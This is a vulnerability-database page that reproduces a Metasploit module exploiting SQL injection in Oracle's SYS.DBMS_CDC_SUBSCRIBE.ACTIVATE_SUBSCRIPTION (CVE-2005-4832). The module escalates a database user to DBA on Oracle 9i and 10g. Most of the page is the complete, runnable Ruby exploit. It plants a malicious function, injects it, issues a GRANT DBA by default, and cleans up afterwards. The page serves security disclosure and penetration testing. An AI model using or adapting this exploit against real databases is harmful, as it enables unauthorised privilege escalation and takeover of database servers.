Lucene search
K

Oracle DB SQL Injection Via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION

🗓️ 31 Aug 2024 00:00:00Reported by Esteban Martinez Fayo, juan vazquez, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 155 Views

Oracle DB SQL Injection exploit via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION. Escalates user to DBA privilege in Oracle Database Server 9i up to 9.2.0.5 and 10g up to 10.1.0.4

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Oracle Database Multiple Remote Vulnerabilities
13 Apr 200500:00
nessus
Tenable Nessus
Oracle Database Multiple Remote Vulnerabilities
19 Apr 200500:00
nessus
Tenable Nessus
Oracle Database 10g Multiple Remote Vulnerabilities
13 Apr 200500:00
nessus
Circl
CVE-2005-4832
29 May 201815:50
circl
CVE
CVE-2005-4832
3 Mar 200720:00
cve
Cvelist
CVE-2005-4832
3 Mar 200720:00
cvelist
Metasploit
Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION
13 Dec 201121:44
metasploit
NVD
CVE-2005-4832
31 Dec 200505:00
nvd
Packet Storm
📄 Oracle Database Server 9.2.0.5 SQL Injection
13 Feb 202600:00
packetstorm
securityvulns
Multiple Oracle application server vulnerabilities
23 Dec 200600:00
securityvulns
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION',  
'Description' => %q{  
This module will escalate an Oracle DB user to DBA by exploiting a sql injection  
bug in the SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION package/function.  
This vulnerability affects to Oracle Database Server 9i up to 9.2.0.5 and  
10g up to 10.1.0.4.  
},  
'Author' =>  
[  
'Esteban Martinez Fayo', # Vulnerability discovery and exploit  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2005-4832'],  
[ 'BID', '13236' ],  
[ 'OSVDB', '15553' ],  
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2005-02.html'],  
[ 'URL', 'http://www.argeniss.com/research/OraDBMS_CDC_SUBSCRIBEExploit.txt']  
],  
'DisclosureDate' => '2005-04-18'))  
  
register_options(  
[  
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),  
])  
end  
  
def run  
return if not check_dependencies  
  
name = Rex::Text.rand_text_alpha(rand(10) + 1)  
  
function = "  
create or replace function #{datastore['DBUSER']}.#{name} return varchar2  
authid current_user is pragma autonomous_transaction;  
begin  
execute immediate '#{datastore['SQL']}';  
return '';  
end;  
"  
  
injection = "  
begin  
sys.dbms_cdc_subscribe.activate_subscription('''||#{datastore['DBUSER']}.#{name}()||''');  
end;  
"  
  
clean = "drop function #{name}"  
  
print_status("Sending function...")  
prepare_exec(function)  
  
begin  
print_status("Attempting sql injection on SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION...")  
prepare_exec(injection)  
rescue ::OCIError => e  
ensure  
print_status("Removing function '#{name}'...")  
prepare_exec(clean)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation